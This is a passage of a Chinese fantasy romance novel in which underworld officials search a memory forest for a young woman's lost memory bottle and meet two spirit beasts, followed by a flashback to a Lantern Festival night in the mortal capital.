“哦……你是新来的孟婆庄管事?”谢必安反应过来,瞪大眼睛看着眼前的姑娘,看上去也就二十多岁,身形修长,比孟婆还高些。
“是我。”岑黎笑着,大概是也听见了地府中传着的那些闲话,主动说道,“孟婆带我到这儿来是救了我一命,至于这管事的差,大概也就是管管杂事。”
“无妨无妨,地府中没有那等狗眼看人低的人,没人会觉得你当这管事有何不妥,你不用同我解释这些。”谢必安摆摆手,“我方才的感叹只是觉得姑娘你好生厉害,孟婆庄以前可从未有过管事一职。”
“七爷,你又在找我的人闲聊,又被沈自珩嫌弃了?”孟婆端着一口大锅走过来,将锅砰地往摆在桥头的木桌上一放,拍拍手喊岑黎,“走吧,带你去逛逛。”
谢必安看了看时间,又叹了口气,同她们告别。
“唉……记忆瓶怎么这么多啊?”谢必安打了个哈欠,随手拨弄着树上的瓶子,“这都找了十来棵树了,我跟你们说,我竟然在树上看见了好些十分眼熟的名字,甚至还有我以前的手下!原来他们竟也是没有记忆的人么?但为何他们不来寻呢?不想要以前的记忆?”
“可能是因为他们有重新再活一次的勇气吧,什么都不带,从头开始的活。”岑黎有些费力地仰头看了看这棵树。
亭亭如盖,几乎每根枝条上都挂着好几个记忆瓶,灵猫在树梢上轻巧地跳跃着,跳到这棵树上时树枝晃了晃,挂得近的记忆瓶互相碰撞着,发出叮当的脆响。
沈自珩正在看旁边树上的瓶子,闻言轻声说道:“也有可能他们并没有找回记忆的途径,或者勇气,毕竟带着痛苦的记忆活下去,并非易事。”
他的声音中掺杂着一些沮丧,又或是痛苦,岑黎分辨不透,但总能听出来他不对劲。带着痛苦的记忆……他吗?
岑黎向他看去,他明明觉察到了她的注视,却将头转过去躲避开了。她不解地皱起眉,将视线移回了面前的树上。
沈自珩虽然称不上冷漠,但大多数时候面上也没什么表情,总是事不关己的模样,如今这副低落的样子,她真是没怎么见过。
她又探头看了看沈自珩,给他传讯问:“你怎么了?”
他没回答,转过脸来冲她安抚地笑了笑。
“你怎么了?哪里不舒服吗?”岑黎索性走到他面前,担忧地看着他,想起刚刚他说的话,她压下心里悄悄钻出来的那一点酸涩,又问了一句,“还是想起了什么……故人?”
沈自珩盯着她:“嗯,想到了故人。”
“嗯,好。”她的眼神匆匆掠过他的脸庞便收回,“你没事就行。”
她转身要走,沈自珩从后面拉住她的手腕,温热的指腹贴上她的皮肤。“如果这里没有你的记忆……”他有些担忧地看着她,“你当如何?”
“再找呗。”岑黎笑着仰头看向那些瓶子,“找了那么久了,不差这一时半会儿。你是怕我会伤心?”
沈自珩不语。
“倒是不会伤心,失落吧,失落总是会有一些的。”她说,“但也不一定,万一真的没找到,到时可能我索性也不再想找回了。”
岑黎觉着自己手腕上的手忽然紧了紧又很快松
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开,她看向沈自珩。
他面色复杂古怪,握着她手腕的手又紧了紧,缓缓道:“那样……也挺好。”
“我说,你们看看现在什么时辰,我们怕是要在这里过夜了。”谢必安拍了拍衣袖上的土,刚刚绕着树一圈圈地走,绕了好多棵树都没发现不说,脖子也受不住了。
“比钩魂还费腿,破记忆库建这么大做什么!”他留下一句话往林子深处走去,灵猫在前面翘着尾巴慢悠悠地带路。
沈自珩无语地望着他的背影,看了看逐渐暗下来的天色:“我们也走吧,不能在林子里过夜。”
岑黎点点头,小跑两步上前喊灵猫:“灵猫,这林子里除了你还有别的兽吗?可有危险?”
灵猫眯着碧绿色的眼睛,弓起背对着一个方向露出尖牙,岑黎顺着那方向看去,林子深处黑洞洞的,叫人心生不安。
蒿里山从外面看不过是大一些的小山包,但他们此刻在山腹中行走穿梭才发现这山比他们想象中大得多。
谢必安走在前面,一边走一边环顾四周,啧啧称奇:“明明是山腹,这顶上却还能看见日月星辰,比地府中的还逼真些。”
沈自珩拨开垂下来的树枝跟岑黎并肩走着,脚下踩到的枯叶发出清脆的碎裂声。好些树下长着五颜六色的小花,每朵都娇小得很,但却根连根地在树下铺了一大片。
“这花磨碎了敷在伤口上能止血。”岑黎蹲下身看了看那片小花,“这里没有太阳也能长得这么好啊。记忆库当真是个神奇的地方。”
林深处发出一声沉重的闷响,树叶窸窸窣窣地落下。
灵猫的脚步停下了,它转头看了他们一眼,随后朝着前方小跑起来,修长的身体在林中穿梭。
“怎么?”谢必安收了哭丧棒,一抬手招呼后面的两人跟上,“快走。”
岑黎跟着小跑了两步,看见了前面的一座木屋,灵猫已经站在屋顶上等着他们了。只是它站得笔直,一直警惕地盯着他们斜后方。
她转头寻了寻,除了晃动的树枝和一大片花草,并没有什么发现。
“小黎,看什么呢?”谢必安喊完她又喊沈自珩,“你俩能不能进来?没觉着忽然冷了吗?灵猫呢?”
正说着灵猫的尾巴尖擦过了他的小腿,它仰着头看了看他。谢必安觉着被什么东西蹭了蹭,他低头看着灵猫笑笑:“哟,你在这儿啊。”
灵猫张了张嘴,身子一扭又贴着他的小腿蹭了蹭。
“猫喜欢人的方式是这样蹭吗?”谢必安蹲下身子伸出手,那双碧绿的眼睛看向他悬在空中的手掌,用脑袋贴了上去。
岑黎和沈自珩进了屋,看着谢必安和灵猫的互动觉得甚是神奇,谢必安一向只喜欢摆件,用他的话讲是喜欢能安静待在家里不会动的物件,可从来没听过他说喜欢猫。
他一撩衣袍,盘腿坐在地上摸着灵猫的背,无力地反驳着:“我这是陪它玩会儿,它在这儿这么久了大概也很无聊吧。”
灵猫动了动耳朵,忽然冲着门无声地吼。
林中亮起了一双金色的眼睛。
35. 记忆库 四
灵猫焦躁不安地在屋里走着,时而跳上桌面看向窗外,直至外面完全陷入一片黑暗,仅有冰冷的月光透过树叶的缝隙影影绰绰地洒下。它逐渐放松下来,趴在了桌上。
木屋从外面看四四方方十分规整,内里却可以称得上是另有乾坤。从门口进入便是一个小房间,仅有一套桌椅和一张窄床,躺在床上也能透过窗观望到外面的风吹草动;往里走是一个大房间,中间堆着木柴,从房梁上悬下一条铁链,铁链末端连接着一个挂钩,大概从未有人用过,那挂钩看上去依然崭新尖利。
这间房两面各有一扇双层小窗,沈自珩上前推了推,仅能开一掌宽。小窗下的墙边放着叠好的被褥,旁边还有一个水壶和一口锅。
“这里还有一张床。”谢必安钻到最里面的房间去看了看,小房间昏暗无比,十分狭小,仅能偷到大房间的一点光。他伸手拍了拍床,一层薄灰飞起,将他呛个猝不及防,“咳咳……这屋里的东西应该都没用过,全是灰。”
岑黎拿着锅看了看,赞同道:“都是新的。准备得倒是十分齐全,只是这里有什么能吃的吗?要这锅有什么用?”
而且他们不吃也不会饿死啊。
灵猫走到她身边,绿眸一闪,岑黎手中的锅变成了一袋面包,还是孟婆店里卖的那种。她哭笑不得地看向灵猫,举起手中的面包问:“这里的东西都是你弄的吗?是就蹭我一下。”
长长的尾巴擦过她的衣摆,还真是。
“你是知道我们要来?还是从有记忆库开始这些东西便准备好了?”岑黎将手里的面包放在一旁,蹲在灵猫的面前看着它。灵猫眯了眯眼睛,碧绿的瞳孔逐渐变圆,它张了张嘴,爪子搭上了她的膝盖。
沈自珩在旁边将被褥摊开,毫不意外地又抖出一地灰。他将被褥直接铺在柴堆旁的地上,好在他们也就是歇个脚,能坐就行。被子被他的手掌一点点熨平整,他率先坐了上去,看着岑黎笑道:“你问两个问题,要它怎么回答?”
岑黎切一声,摸了摸灵猫的脑袋替它不服:“换种问法就是了,灵猫这么聪明,肯定能和我们沟通无阻。”
她拍了拍左膝:“知道我们要来?”又拍了拍右膝,“还是最开始就有这些东西了?”
灵猫懒洋洋地打了个哈欠,将温软的爪子搭上了她的右膝。
岑黎和沈自珩靠在墙边看着屋子中央正熊熊燃烧的柴堆。外面入夜后便降温了,这会儿竟下起了鹅毛大雪,两人坐在铺好的被褥上,眼前还有温暖的火,倒也不觉得冷。
谢必安盘着腿坐在柴堆面前发呆,灵猫窝在他的腿上假寐——之所以说是假寐,是因为它只是闭着眼睛,尾巴还时不时地晃着。
岑黎站起身看着外面一片白茫茫的景象,这雪下了没多久便已经积起来了,树枝被白雪覆盖着,不堪重负地垂到了地面,仅凭着一点韧劲支撑着。
“天亮了之后雪会停吗?”
“也许会吧。”沈自珩跟着她走到外间,透过那扇大窗看着外面,这里没有风,雪轻飘飘地落下,不偏不倚地覆盖住一切。
躲在树林深处的兽站起身,毛发上的雪簌簌地落下,它抖了抖身子,悄无声息地穿过这片树林。
木屋的窗户有些透风,刺骨的寒意顺着窗缝钻了进来,谢必安坐在柴堆边不肯动弹,扯着嗓子嚷嚷:“你们不冷吗,快点进来吧。”
怀里的灵猫被他吓了一跳,猛地睁开眼睛,在他腿上伸了个懒腰。
岑黎拉着沈自珩进了屋坐在被褥上,这屋子里只有这些东西,仅仅能让人睡个觉,但此刻这种情况下他们也全然没有困意。
“也没有什么能供人消遣的玩意儿,连本书都没有。”谢必安伸直双腿坐在地上,两手向后撑在地板上。
站在窗台上的灵猫张了张嘴,从上面跳到了岑黎的怀里,它躲开岑黎要摸它的手,轻咬着她的指腹,见她没有反应,它更用力地咬了一下,疼得岑黎倒抽一口凉气。
“怎么啦?咬我做什么?”话问出口她便听见了外面冰天雪地中树枝根根断裂,落在地上的响声。
三人直觉不对,猛地站起来透过窗往外看,一只体型硕大的兽拖着浑身长长的毛发正在雪地中行走,脚掌在雪地上踩出了印记,但很快就被落雪覆盖了。
“哇……”岑黎眯着眼睛看清了巨兽,感叹了一声。
原本正踱着步的巨兽转过头,金色的双眸在雪夜中格外明亮又迷人。
它看见他们了。
灵猫在窗台上定定地站着,似乎在与那兽对视,忽然它伸出前爪摁在了窗户上,与此同时巨兽也微微动了动身子。
沈自珩的声音从岑黎身旁传出,言语中带着些好奇,他从未见过这种毛发这么长这么细的兽。“我未听闻过这种兽。”
“类,全身毛发特别,长得像狸猫,雌雄同体。”岑黎回忆着从前在某本书上看来的内容,当时她还同孟婆讲过希望这兽不会被人抓了去,没想到它竟就在地府,“据说吃它的肉可以消除人的嫉妒心。”
趴在窗户上的灵猫听见他们小声的对话,转过头看了他们一眼。
谢必安看见了,嘶了一声摸着下巴说:“猫的脸上是能看得出表情的吗?我总觉得它刚刚在骂我们。”
类体型硕大,约莫着也就比豹子小一些,它从刚刚开始便在离木屋十来米远的地方徘徊,看见灵猫后才走近一些,但始终和木屋保持着一些距离。
像是有些惧怕。
月亮慢慢爬高,月光没有了树枝的遮挡,直白地落在雪地上,将类的身影照得清晰。岑黎盯着它观察了一阵,见它只是静静待在原地,决定出去看看。
“我跟你一起。”沈自珩把怀中的白玉扇拿出来握在手中。
岑黎没有拒绝,冲他点了点头后转头叮嘱谢必安:“七爷,你就守在这里吧,如果我们有危险你还能出去喊人。”
谢必安早就是这个打算,爽快应下了:“我就在这里看着,一有不对劲我就去助你们。”
两人走到门口,慢慢打开门。
雪依然下得很大,门口竟已堆起了一掌厚的雪。岑黎伸脚试探着踩了踩,刚踩实,一道黑影从
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她脚边蹿了出去。
灵猫飞快地蹿到了类的背上,同它一起看着他们。
岑黎和沈自珩都吓了一跳,踏出门的同时握紧了手中的灵器。岑黎握着簪子观察着趴在类的背上的灵猫,夜色中它碧绿的瞳孔睁得滚圆,一眨不眨的,她往旁边走一步,它的视线就跟着往旁边瞧。
“它们好像没有恶意。”岑黎朝它们走了两步,类并没有后退,也没有龇牙怒吼,只是用那双金色的眸子看着她。等她几乎走到它面前时,它往旁边走了几步,露出了原本被毛发遮住的一朵灵芝。
正静静地躺在雪地里。
“这是觉得我们是来采灵芝的?”岑黎拿起灵芝仔细看了看,这是地府独有的灵芝,在魂体破散前服下,便能将魂体重新凝聚三日,但也只对快要魂飞魄散的魂体有效。
“收着吧。”沈自珩也走了过来,看着一大一小两只灵猫,试探着伸出了手。
灵猫趴在类的背上,长长的毛发几乎将它完全遮掩住,只能看见它那双眼睛正朝着他们看。见沈自珩伸出手,灵猫无动于衷,类则是有些紧张地往后躲了两步,眼神中有些警惕。
灵芝被岑黎塞进了随身带的小袋里。白天他们在树林里走,并没见到过这种在地府也罕见的灵芝,也没见类出现,更没发觉它躲在了哪里。如此想来,要么是记忆库大得出奇,要么是类格外会隐匿。
岑黎走到类面前弯腰看了看它,开口道:“我不是来找灵芝的。”
在屋里听得一清二楚的谢必安无语地一拍额头。她是不是以为这里的所有物种都能与人沟通。
类盯着她看了会儿,忽然低下头用鼻尖拱了拱她系在腰间的小袋。
“我不需要这个。”岑黎哭笑不得,类更用力地拱了拱,十分执着。
她投降:“好吧好吧,我会妥善保管的,也许以后会用上。”
类不拱了,看着她。
“我想找记忆瓶。”她说。
类转头看了看树,又抬头往树上看了看。
“那是记忆瓶,我知道,但我想找我的。”岑黎蹲下身,伸出手递到类的面前任它嗅闻。她放轻了声音,“我叫岑黎。”
灵猫从它背上跳下来,走到岑黎面前仰头看着,她将另一只手伸到灵猫面前。
“我叫岑黎,你们能帮我找到我的记忆吗?”
被月光包裹的大树下,女子蹲在比她人还高的灵兽面前,柔和地同它们交谈,观察它们的行为,这一切竟都显得与月色和这场大雪分外和谐。
沈自珩向后退了两步,始终紧紧盯着她的背影。周围的环境和喧嚣似乎与他无关,他的视野逐渐收缩,直到仅剩下她一个人的身影。
想快点找到她的记忆瓶。
想快点让她恢复记忆。
他想着,嘴角不自觉地扬了起来。还没等笑意退去,蹲着的岑黎猛地回头看他,脸上表情有些不知所措。
“沈自珩。”
“没有。”她看向他,深吸了一口气,又清了清有些哽住的嗓子,“这里,没有我的记忆。”
36. 记忆库 五
她转头看向一大一小两只灵猫,都还站在原地。
“我叫岑黎,你们能帮我找到我的记忆吗?”
类嗅闻着她的手心,过了许久抬头看她一眼,又转头看向树林,树枝上所有的记忆瓶都叮叮当当地剧烈颤动起来。
她似乎在哪儿听过,因为记忆瓶储存着记忆,首先这个容器就有灵性,再者里面的东西也与本人息息相关,所以当人找到自己的记忆瓶后,不需怎么费力就能让记忆瓶自己回到本人手上。
清脆的碰撞声逐渐停息,类走到树林中嗅闻了一阵,最终回到她面前趴在了雪地上。
“这里没有我的记忆。”岑黎抽了抽鼻子,她的鼻尖有些红,嘴唇却是发白。她看着沈自珩,“但我想再找找,行吗?”
谢必安从屋里出来,扒着窗户看实在让人心焦,自他们出来后他就在门后透过缝悄悄看着,现在既然知道类没有危险,他也就躲不住了:“找!明天就找,不,现在就找!”
他抬腿走向树林,一边抬头看着被雪盖住的记忆瓶一边大声说着:“它们都是灵兽,是兽,连摇头也不会,万一我们理解错了呢是吧,小黎你……”
他的胳膊被人一把握住了。
是沈自珩。
“你看看这个。”沈自珩手里拿着一个只有掌心大小的精美瓶子,瓶身上用灵力刻着:岑黎。
瓶子里却是空空如也。
谢必安不再吭声,看向沉默的沈自珩,又转头看了一眼岑黎。“怎么现在你们比我还要平静?两只猫说没有你们就信了?”
沈自珩握着他胳膊的手被挣脱,他看着有些暴躁的谢必安,安抚道:“等雪停了我们就出来找,如果没有我就再去找阎王。”他抬起的手犹豫了一下,终究还是拍了两下谢必安的肩膀,“别急。”
说完他走到一边找岑黎去了。谢必安看着他在雪中的背影,长叹了一口气,喊道:“老沈。”
沈自珩回头。
“你既知道我在急什么,我也不劝了……你想开些,让小黎也想开些。”谢必安看着他,忽然抬起手拍了拍自己胸口,“我定会一直帮你们的。”
雪越下越大,沈自珩的肩上已经落了薄薄一层雪,发顶上也有。他看向好友,笑着点点头,轻轻抖落了肩上的雪。
沈自珩去拉了岑黎的手将她带进屋,留谢必安站在雪地中,看着面前一大一小两只灵兽。
“先喝点水吧。”沈自珩将岑黎带进屋里后用锅从外面树上接了雪拿进来煮,岑黎也不在意这装水的碗洗没洗,捧过来小口地喝着。
煮开的水在碗中升腾起雾气,在她眼前慢慢蒙上,她盯着面前放空,突然开口:“你也喝点水吧,锅里还有吗,给七爷留点儿。”
沈自珩嗯一声,端起手里的碗同她手里的碰了碰:“还有。”他挪了挪位置,坐到她身边拍了拍自己的肩膀轻声道,“累不累?靠一会儿?”
岑黎点点头,靠在他肩膀上念叨着那些朋友们的近况,每说一句声音就颤抖一分。
“孟婆应该看见麦芽了吧?麦芽还好吗?今天无患要到孟婆庄来,那个大门嘎吱嘎吱响了很久了,总算是有时间来修;无恙应该也挺忙的,李恒大人在教他绘图,他前阵子交不出作业躲到孟婆庄来了,当时云昭也在,被她好一通笑话;云昭也是,多亏地藏疼她,将她养得性子越来越活泼了……”
“沈自珩。”她直起身来红着眼眶看他,过了这么久,她终究还是要学会放下。
“我想,如果真的找不到我的记忆,那就算了,自我到地府那天直到现在,已经认识、记得这么多人,他们也都真心待我,也足够了。”
岑黎看着沈自珩眼睛,以为他会说都随你的心意,或是这样也好这类支持的话,但没想到他迟迟不开口,只是这么望着她。
像是要将她刻进骨子里那样望着她,深深的、悲痛的情绪从他眼中溢出来。
像是要分别。
她感到有些慌,拉过他的手紧紧攥着:“怎么了?”
沈自珩依旧用那样的眼神看她,任凭她的手掌柔和地拢住他的骨节,就像拢住他方才忽然下坠的心脏。
他压下几乎要从心口喷薄而出的情绪,只平淡地冲她笑:“你忘记我了。”
“因为你就在我身边呀。”岑黎动了动手,轻捏着他的手指安慰,“这醋也要吃?”
沈自珩没回答,学着她捏了捏她的手指,抬头从那扇小窗看向外面:“雪应该快停了。”
灵猫从类的胸膛下钻出来,抖了抖毛,朝谢必安走过来。他蹲下身,不管衣袍沾上了雪和泥,只冲着那个方向伸出手:“好久不见啊。”
“你比那会儿壮实了不少,但是怎么叫不出声了呢?”谢必安将它抱起来,伸手摸了摸它的脖子,灵猫配合地抬起头,在胸前黑色的毛中间有一道细长的,几乎从下巴蔓延到胸膛的疤。
他愣住了,直到灵猫又张了张嘴,他才用手轻柔地摸了摸它的毛,试图将那道疤仔细盖住。
“我还记得你的声音,细细的,小小的,不仔细听都听不见。”谢必安用手心揉了揉它的脑袋,同它认真地聊着过去,“还记得我见到你的那天吗?”
灵猫看着他。
“虽然最后我也没能救得了你,对不起。”
“对不起啊,只能先这样将你带回去了,委屈你一下。”谢必安将身上的外袍脱下来,包裹住了蹲在墙角的那只小黑猫。
这里四下空旷无人,只有王府的人进出会路过此处,今日若不是他来找沈自珩,这只可怜的小猫也不知还要在这里待多久。
他虽不喜欢这些长毛的东西——他爹不允许他喜欢,但他也不忍心看着它流落街头,隔着外袍都能摸见这小东西身上一排排的骨头。
“你抱着什么东西?”沈自珩坐在凉亭里,面上一副喝了黄连的苦模样。
谢必安一屁股坐在他对面,见他面前又摆着茶,习以为常地问:“又送来多少茶?”
“不少,你再拿些回去吧。”沈自珩端着茶杯放到嘴边轻抿了一口,他不太会泡茶,泡出来的不是苦就是涩。
“我肯定拿啊,除了给我,你也没别人
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可送了。”谢必安将抱着的黑猫放到桌上,这猫也十分乖巧,窝在他的外袍里,只露出了脑袋,一双碧绿的眼睛盯着沈自珩看了会儿又闭上了。
谢必安会泡茶,泡出的茶总是很香,先生常在课堂上夸他,夸完之后还要将沈自珩留堂批评:“小王爷,你何时才能学得会!怎的别的课业你都完成得十分好,到我这儿就奇差无比?”
“先生,他不喜欢茶呀,就像我不喜欢看书,再强迫也学不会,您就别骂他了,白费力气嘛!”谢必安笑嘻嘻地从面前茶桌上端了杯泡好的茶递给先生,趁着先生品茶的功夫冲沈自珩使眼色:走!
沈自珩便溜之大吉,留先生在后面长吁短叹。
“还是我重新泡吧。你说如若哪天我不在了,你那一屋子的茶谁给你泡。”谢必安重新端了杯茶放在他面前,看着他好像面色平静地端起来喝了一口,紧皱的眉头却是悄悄舒展开了。
他这个同窗啊,这不吭不响的性格,也不知是在那高墙里养成的,还是天生就如此。
“你不在的时候我不也喝茶吗,总归能喝就是。”沈自珩不愿再与他谈茶,转而看向桌上那只黑猫,现在已经将下巴磕在衣袍上睡着了。
他微微一抬下巴,“你要带回去?”
“总不能放你这儿,你不是说宫里隔三岔五就来人吗,上回还把你的画拿走了,猫放你这儿万一也被拿走了怎么办。”
谢必安手一撑膝盖,上身往前探了探,压低了声音问,“他们拿你的画要做什么?真要给你相看姑娘?”
“嗯,昨天丞相来了,话里话外是想让我娶他女儿。”沈自珩一推他额头,“他找皇兄说过,但皇兄没答应,说全凭我意愿,我就拒绝了。”
新皇刚登基不久,每天忙着上朝和群臣唇枪舌剑地商议着天下事,还要忙着挡住他们给皇上选妃,给沈自珩选妃。
“一群老头儿怎么那么爱给别人选妃,跟他们有什么关系。”谢必安端起刚泡的茶还没喝上一口便小声骂着,替好友道不平。
黑猫大概是听见了声音,半睁着眼睛喵了一声,谢必安放下茶壶,将裹着黑猫的袍子拢了拢,猫蹭了蹭他的手指,又闭上眼睛睡了。
“皇兄现在身旁无人,我也行了冠礼,他们操心是正常的。”沈自珩捏着茶杯走到池塘边,将杯中的茶一饮而尽。
“只是我不愿意参与朝政,也不上朝,这些都得皇兄替我挡了。”
他看着池塘里贴在角落游着的那条白色锦鲤,叹了口气,虽是躲出来了,可再怎么躲也还是在这池子里。
“明日上元节了,你还是跟我家一起过吧?”谢必安趴在桌上看着黑猫,头也不抬地说,“我一会儿把猫带回家,明日上元节,你记得穿好看一些,别穿这么素。”
沈自珩低头看了看自己这一身素白,再看看谢必安那一身锦贵华袍,终于有了点笑容,调侃着:“我的衣橱里再华贵也不及你的一半啊。”
“嘁,嘲讽我,走了,明天见。”谢必安两手一抄,连猫带袍地抱在怀里,笑着冲他扬起下巴,“走了啊!”
37. 前尘多遗恨 一
谢必安抱着猫上了自家来接的马车,车里放了一小碟糕点,是没见过的样式。他敲了敲背靠着的厢板,那边立刻传来声音:“少爷。”
“阿福,今日这糕点是不是我娘新琢磨出来的?”谢必安拿起一块看了看,雪白的糕上撒了桂花,边边角角已有些散了,隐约还能看见里头有馅料。
阿福抬手抖了一下缰绳,驾着马车不疾不徐地往谢府去了:“是呀少爷,里头是蜜枣,夫人给我们分了几块,可甜了。”
出了王府这条街后周围才热闹起来,夕阳西下,菜贩们都奋力地叫卖着,把菜都卖完了好赶紧回家吃饭去。叫卖声此起彼伏,拖着长长的音调,唱曲儿似的。
“卖菜——卖青菜——”
“梨子咯——新鲜的梨子咯——”
“鱼嘞——”
谢必安听见了鱼,探头看了看,又低头看向怀里的黑猫:“你吃鱼吗?你不能吃鱼吧,那有刺,卡在嗓子里可疼了。”
他看着只有两个巴掌大的小猫,平白想象起了它吃鱼的样子,它怕是还没有鱼大。谢必安的手蹭上黑猫的头顶,它眯着眼睛喵了一声,谢必安也眯着眼睛笑,权当它是赞同的。
回家吃肉多好,吃肉长身体呢。
谢府离沈自珩的淳安王府有些距离,平日马车得要半个时辰,今日更是慢得出奇。他倒也不急,掀开布帘看着外面:明日上元节,每年都有的花灯集市早就布置好了,今年新皇登基,天下大赦,还特别开放了三天宵禁。
“那正好,晚上我找沈自珩一起去夜市。”谢必安把猫放在腿上,自己两只胳膊都扒在马车的窗框上,外面街上热闹得紧,许多本应在晚上才摆的小摊现在就已经摆出来了,好几个摊位都还没有生意,摊主们就揣着手凑在一起喝着热茶,等夜色降临。
阿福憨憨地笑着,一手缩在略长的袖子里:“一会儿吃完晚膳我再送您去王府,听说今年的夜市可有意思了,从东桥打头儿,一直到王府前的那条街呢。”
窗外寒风裹着甜腻的元宵味道吹了进来,倒也不觉得特别冷,谢必安闻了闻迎面吹来的风,重又缩回马车里:“那沈自珩也不会主动去的,得我拉着他去。”
“自珩少爷一向都如此。”阿福说。
他家少爷和淳安王简直一个天上一个地下,每每有热闹的事儿都得是他家少爷先跑去“通风报信”。
谢必安诶了一声:“通风报信是这么用的吗?再说他只有我这么一个好友,我再不想着他点儿,他不得孤独死啊。”
阿福同谢必安差不多年纪,算是和谢必安一起长大的,自然也和沈自珩熟悉,只是他一个仆从,连四书五经都还没看懂,终究也还是想不通为什么自珩少爷身为王爷,却总是一个人冷冷清清地待着,还总是做一些明明不喜欢做的事。
不像他家少爷,想干什么都会被允许的。
马车停在谢府门口,刚停稳当谢必安就抱着猫跳下来,直奔着爹娘去了:“爹!娘!看我带回来什么!”
要不了多久少爷就会跑出来喊他留意着猫笼子了。阿福想着,提着一桶饲料倒进了食槽里。
“阿福——哪儿有猫笼子卖?”远远地传来一声。
黑猫趴在桌上,尾巴围在了装满热茶的壶边,像给那盏青瓷茶壶裹了个毛乎乎的围脖。谢必安揉着肚子在屋里来回走,一边等着天黑一边消食,走到桌边看见猫和茶壶时笑出了声。他伸手摸了摸黑猫的下巴,又碰了碰它的尾巴尖:“你在干嘛呢?不烫吗?”
茶壶盖子被掀开,水汽在空中散去,留下一丝清甜的气味。
阿福拎着一个大食盒和一兜子油纸包进来,见他家少爷盯着茶壶看,笑道:“少爷,那里是夫人今日去药房特地给您配的茶,里头是白茅根和竹蔗,能降火的。”
他哦了一声,用舌尖舔了舔隐隐作痛的上牙膛,最近吃得有些放肆,上牙膛肿了好几天,这会儿阿福给他倒了一杯,他尝了尝,甜滋滋的,也没有什么奇怪的味儿,还挺好喝。
“还有吗,给沈自珩带点儿去吧?”
“夫人说了,自珩少爷的体质同您不一样,您怕热,这茶现在只有您能喝,自珩少爷喝不了这个。”
阿福举起桌上的油纸包,里头是他今早陪夫人去抓的药材:“这里头的是给自珩少爷的,还有这食盒里是夫人准备的一些点心。”
鼓鼓囊囊的油纸包被放在沈自珩面前,他凑近看了看,像是能看穿这油纸似的,好一会儿问了句:“这是什么?”
谢必安白了他一眼,伸手拿过一包,剪了外面的绳子,一打开就闻到一股子苦味儿:“给你喝的药茶。”
“明日我当面向伯母道谢。”沈自珩看向旁边,一直守着的侍女拿过油纸包走了。
外头天色逐渐暗了下来,侍女们在府里走来走去地将灯点亮,再将门口的灯拿下来,换上新的花灯。
谢必安和沈自珩并肩往外走,正碰上他们换花灯,他喊了一句:“沈自珩房门口留个空儿啊,我们今晚肯定带新的花灯回来!”
“知道的谢公子,往年都这样,今年也忘不了。”玉秀笑道,“少爷,你们要出门吗,不坐马车?”
沈自珩摇摇头,回身指了一下正房的方向:“我们去夜市,坐马车不方便,里面给你们留了一些点心,你们分着吃吧。”
玉秀点点头。
“谢必安今晚住这儿。”
“知道了少爷。”
二人拐过街角,街上人声鼎沸,各式各样的花灯高高挂着,随意坐在街边的人们手中捧着碗,黏糊糊又热腾腾的元宵总是要放好一阵儿才能不烫嘴。
“我原本以为今年不会有集市了呢,没想到不仅有,还开放了宵禁!”坐在摊位小凳上的男子举着勺,同身边的同伴说。
同伴挑起一筷子面,吹了吹:“新皇体恤啊,你没听说吗,明年开始要减少土地赋税了,旁边镇上的田户们都开心坏了,看来如今的皇帝是干实事儿的啊。”
那男子咬了一口汤圆,被里头的芝麻馅烫得哇哇叫,面红耳赤地将汤圆吞下去后他反驳道:“我上哪里去听说,我又没有田户亲戚。”
同伴吹了吹筷子上的面,草草应付他:“诶行行行,吃你的汤圆吧……”
“太烫了!又不着急,我夫人不是同你夫人在一起吗,估摸着这会儿应该逛到胭脂铺了。”
“万一是成衣铺呢?”
“那就买呗,去年生意挺好,够花!”
谢必安走在沈自珩旁边啧啧两声:“你听见没?”
沈自珩斜他一眼:“听见什么?”
“没什么。我们去看看买个花灯?我娘让我明日带两盏回去挂在院子里呢。”谢必安看了看,拽着他往人堆里挤,一边还回头叮嘱,“我还要买猫笼子,
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要大一些的,你帮我记着点儿。”
沈自珩刚皱起眉头,就听他又补充一句:“反正你跟我一起回去的,不怕拿不下。”
沈自珩沉默了一阵,还是偷偷笑了。
现如今的天下,无战事,无苛捐杂税;四季分明,年丰岁稔,若是皇兄来亲眼看看,亲耳听听,想必也会觉得幸福的。
街的那头儿有一家卖各种笼子的店,有大有小,形状各异,一般都是各家公子小姐过来买。
谢必安拎起角落里一个八角形状的笼子端详着:这笼子是竹编的,十分密实,也就比巴掌大一些。他想了一圈实在想不出这样形状的笼子能养什么,喃喃自语道:“这能养什么?”
“蛇。”沈自珩悄无声息地走到他旁边,压低声音吐出一个字,不出意外地把谢必安吓一跳。
谢必安捂着胸口把笼子放下,眼神还时不时地瞟着,生怕那里头真钻出一条蛇来。他看着沈自珩狡黠的眼神,不满地拍了他一掌:“让你帮我挑猫笼子!”
沈自珩指了指八角笼旁边。
旁边放着一个四四方方的笼子,用一整块木料挖空雕刻做成,每一面都有间隔均等的栏杆,其中一面做成了可开合的小门,还能上锁。
谢必安托着下巴看了看,评价道:“普通,普通至极,不好看。”
沈自珩又指旁边。
谢必安不为所动:“不好看。”
几番下来,在沈自珩快要黑脸的时候,谢必安一拍巴掌:“我给它做个窝吧,用藤条编一个,上头铺软软的褥子,肯定比这个笼子舒服,你觉得怎么样?”
他是真的很喜欢这只黑猫,也不知为何,看见那双眼睛时他就觉得他们有缘分。
“你养的猫,你觉得行就行。”沈自珩转身向外走去,“买花灯去。”
时辰不早了,街上却是愈发热闹起来。谢必安专爱往人头攒动的地方凑,没等凑近就被不知从哪儿喷出来的火吓得往旁边蹿,再往前走两步又看见耍大刀的,银钱落进瓷碗里的声音叮叮当当响个不停,他看得开心,也挤进去丢了两枚听了个响。
谢必安揣着刚买的软垫往前走着:“今年上元节真是好热闹,比往年都好!据说还有从其他地方专门过来参加花灯集市的呢!”
沈自珩一早就听玉秀说起了,皇兄开放宵禁,还放话欢迎外邦异族共庆佳节,城里早就涌进许多金发碧眼的人。
只是皇兄很辛苦吧,沈自珩看见街上贴的告示想着,他身为王爷,本应辅佐皇帝左右。
“想你皇……想你哥了?”谢必安一拍他肩,竟是凭着对他的了解猜出了大概,“要么明日你进宫去?反正明日才是上元节呢,来得及。”
沈自珩看他,表情有些犹豫:“可是说好了明日向谢伯母道谢,而且花灯还没买。”
谢必安不在意地挥挥手:“花灯让阿福买就行,至于我家嘛,你什么时候来都可以的,等你从宫里回来了再来我家就是了,到时我让我娘做你喜欢的荷花桃山饼。”
“那你先帮我同伯父伯母讲一声。”
“哎呀,小事小事。”谢必安立刻转身往回走,“回王府啊,明日进宫你不得准备?你要空手去看你哥?还有你那一柜子衣服,我给你挑身好看的都得挑半天!”
锣响三声,不知不觉竟已过了子时。
